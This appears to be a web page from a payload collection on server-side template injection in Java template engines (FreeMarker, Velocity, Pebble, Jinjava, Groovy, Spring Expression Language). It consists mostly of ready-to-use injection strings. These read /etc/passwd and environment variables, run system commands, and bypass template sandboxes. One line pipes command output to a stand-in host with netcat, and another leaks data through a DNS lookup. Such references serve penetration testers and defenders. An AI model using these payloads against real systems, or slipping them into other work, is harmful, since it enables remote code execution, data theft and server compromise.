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Server Side Template Injection - Java

Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.

Summary

Templating Libraries

Template Name Payload Format
Codepen #{}
Freemarker ${3*3}, #{3*3}, [=3*3]
Groovy ${9*9}
Jinjava {{ }}
Pebble {{ }}
Spring *{7*7}
Thymeleaf [[ ]]
Velocity #set($X="") $X

Java

Java - Basic Injection

Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}

Java - Retrieve Environment Variables

${T(java.lang.System).getenv()}

Java - Retrieve /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat /etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

Freemarker

Official website

Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.

You can try your payloads at https://try.freemarker.apache.org

Freemarker - Basic Injection

The template can be :

Freemarker - Read File

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('path_to_the_file').toURL().openStream().readAllBytes()?join(" ")}
Convert the returned bytes to ASCII

Freemarker - Code Execution

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]

Freemarker - Sandbox Bypass

⚠ only works on Freemarker versions below 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Codepen

Official website

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Jinjava

Official website

Java-based template engine based on django template syntax, adapted to render jinja templates (at least the subset of jinja in use in HubSpot content).

Jinjava - Basic Injection

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava is an open source project developed by Hubspot, available at https://github.com/HubSpot/jinjava/

Jinjava - Command Execution

Fixed by HubSpot/jinjava PR #230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Pebble

Official website

Pebble is a Java templating engine inspired by Twig and similar to the Python Jinja Template Engine syntax. It features templates inheritance and easy-to-read syntax, ships with built-in autoescaping for security, and includes integrated support for internationalization.

Pebble - Basic Injection

{{ someString.toUPPERCASE() }}

Pebble - Code Execution

Old version of Pebble ( < version 3.0.9): {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}.

New version of Pebble :

{% set cmd = 'id' %}
{% set bytes = (1).TYPE
     .forName('java.lang.Runtime')
     .methods[6]
     .invoke(null,null)
     .exec(cmd)
     .inputStream
     .readAllBytes() %}
{{ (1).TYPE
     .forName('java.lang.String')
     .constructors[0]
     .newInstance(([bytes]).toArray()) }}

Velocity

Official website

Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

Groovy

Official website

Groovy - Basic injection

Refer to https://groovy-lang.org/syntax.html , but ${9*9} is the basic injection.

Groovy - Read File

${String x = new File('c:/windows/notepad.exe').text}
${String x = new File('/path/to/file').getText('UTF-8')}
${new File("C:\Temp\FileName.txt").createNewFile();}

Groovy - HTTP Request

${"http://www.google.com".toURL().text}
${new URL("http://www.google.com").getText()}

Groovy - Command Execution

${"calc.exe".exec()}
${"calc.exe".execute()}
${this.evaluate("9*9") //(this is a Script class)}
${new org.codehaus.groovy.runtime.MethodClosure("calc.exe","execute").call()}

Groovy - Sandbox Bypass

${ @ASTTest(value={assert java.lang.Runtime.getRuntime().exec("whoami")})
def x }

or

${ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") }

Spring Expression Language

Official website

The Spring Expression Language (SpEL for short) is a powerful expression language that supports querying and manipulating an object graph at runtime. The language syntax is similar to Unified EL but offers additional features, most notably method invocation and basic string templating functionality.

SpEL - Basic Injection

${7*7}
${'patt'.toString().replace('a', 'x')}

SpEL - DNS Exfiltration

DNS lookup

${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}

SpEL - Session Attributes

Modify session attributes

${pageContext.request.getSession().setAttribute("admin",true)}

SpEL - Command Execution

  • Method using java.lang.Runtime #1 - accessed with JavaClass 

    ${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")}

  • Method using java.lang.Runtime #2 

    #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

  • Method using java.lang.Runtime #3 - accessed with invoke 

    ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('COMMAND_HERE')}

  • Method using java.lang.Runtime #3 - accessed with javax.script.ScriptEngineManager 

    ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

  • Method using java.lang.ProcessBuilder 

    ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

References